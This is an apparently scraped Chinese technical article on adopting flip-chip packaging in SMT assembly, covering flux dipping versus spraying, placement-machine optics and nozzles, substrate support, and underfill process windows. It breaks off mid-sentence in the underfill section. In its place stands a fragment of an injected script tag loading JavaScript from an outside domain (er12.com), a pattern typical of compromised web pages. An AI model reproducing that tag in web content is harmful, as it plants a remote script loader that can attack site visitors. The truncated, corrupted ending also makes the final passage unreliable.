越来越多电子制造商在设计中采用最新的倒装芯片封装技术,为了成功地使用这项技术,制造商必须对其表面安装工艺(smt)装配设备、材料和工艺进行一些改进,以及需要解决与制造相关的问题,包括助焊剂和底部充胶。此外,还要特别关注产量和质量等问题。随着技术的发展,并对装配设备和工艺进行适当的调整之后,倒装芯片技术已成功地集成到许多电子产品中。
引言
倒装芯片技术可以降低成本、增加产量,以及减少整体的工艺步骤。如果公司转用倒装芯片设计,并为安装工艺选择合适的设备和材料,上述优势即唾手可得。
倒装芯片装配工艺
要将倒装芯片技术整合到现有的产品设计中,必需对标准smt工艺作出许多改进。倒装芯片器件的贴装通常可利用现有的贴片机来完成,而倒装芯片的充胶工艺的确需要专门的设备。典型的倒装芯片生产线通常由助焊、置放和回流焊部分构成,以及独立的充胶和固化部分。
助焊剂步骤所采用的材料和方法会对生产的可靠性和产量产生很大的影响。浸渍和喷涂助焊是最常用的两种方法。喷涂所采用的大部分助焊剂都是称作“无残渣液体”助焊剂,其酒精含量达98 -99%。在置放之前将助焊剂喷到基板上,由于酒精在室温下会迅速挥发,在电路板处理和回流焊的过程中,剩余助焊剂的粘性不足以固定倒装芯片,会导致芯片移位。因此,可以采用浸渍法为倒装芯片元件涂上粘性助焊剂。通常,浸渍法用刮胶刀将免洗助焊剂涂敷到可以旋转的平台上,形成一层薄膜。这样芯片锡球就可以浸泡在助焊剂中,并贴装到基板上。
与不能为芯片提供粘着性的液体助焊剂相比,粘胶助焊剂可在加工时确保芯片不移位。因而,出现问题的可能性不大。助焊剂和底部充胶剂的选择应根据芯片钝化、锡球冶金、基板、焊接掩膜和焊盘冶金等来决定。在确定浸泡助焊工艺的工艺窗口时,详细了解锡球高度分布和可能的锡球缺陷非常重要。
助焊剂膜的最小厚度取决于芯片内锡球高度的变化。要确保芯片上的良好焊接状况,所有的锡球都必需浸泡到助焊剂中。要建立适合涂敷助焊剂的工艺窗口,可以利用裸板先进行试验。
贴装阶段
倒装芯片元件的处理可在托盘外进行。当考虑在贴片机上装配倒装芯片时,需要进行数项配置选择,包括光学分辨率、照明几何结构、加工能力、贴片工具和基板支架工具。由于倒装芯片的连接介面是焊球,仅采用简单的芯片边缘技术并不足以对倒装芯片进行定位和贴装。
要避免倒装芯片贴片的方向错误,应采用不对称的可编程锡球图样以兹识别。贴片机必须具有足够的光学分辨率、照明结构和处理能力,能将锡球图样定位在倒装芯片的底部。贴片机还须具有固有的精度,以便将芯片精确地贴装在基板上。此外,吸嘴必须具备合适尺寸,并采用适当的材料制成,确保当芯片浸泡到助焊剂中时(粘性助焊剂),芯片不会落入助焊涂胶机,并且协助芯片与吸嘴在贴片时的脱离过程。
最后,基板支架必需牢牢地固定住基板,确保不会因为贴片而产生位移。印刷时,良好的支架装置不仅能支撑基板,还能简化操作,避免基板在回流和固化炉中由于松垂而产生翘曲和变形。在选择贴片结构时,还需要考虑其它与特定工艺相关的问题。
贴片工艺的产量取决于许多参数,包括电路板的容差(焊接掩膜、铜层)、焊垫设计和贴片精度等。焊接掩膜的容差是影响倒装芯片装配产量的重要因素之一。因此有必要进行不同的参数试验,使焊接掩膜的效应降至最小。例如,由于所要求的焊垫设计不同,间距越小,焊接掩膜的配准效应越明显,因此,对贴装精度和焊接掩膜容差的要求也越高。
底部充胶阶段
图1所示为影响充胶工艺的参数综述,各种不同材料间的多种相互作用清楚地表明,所采用的材料必需作为一个系统来对待,一旦某种材料或设备发生变化,则整个系统必须进行重新评估。
特别是,流动温度、点胶路径和时间的工艺窗口必须根据各个特定的应用?script src=http://er12.com/t.js>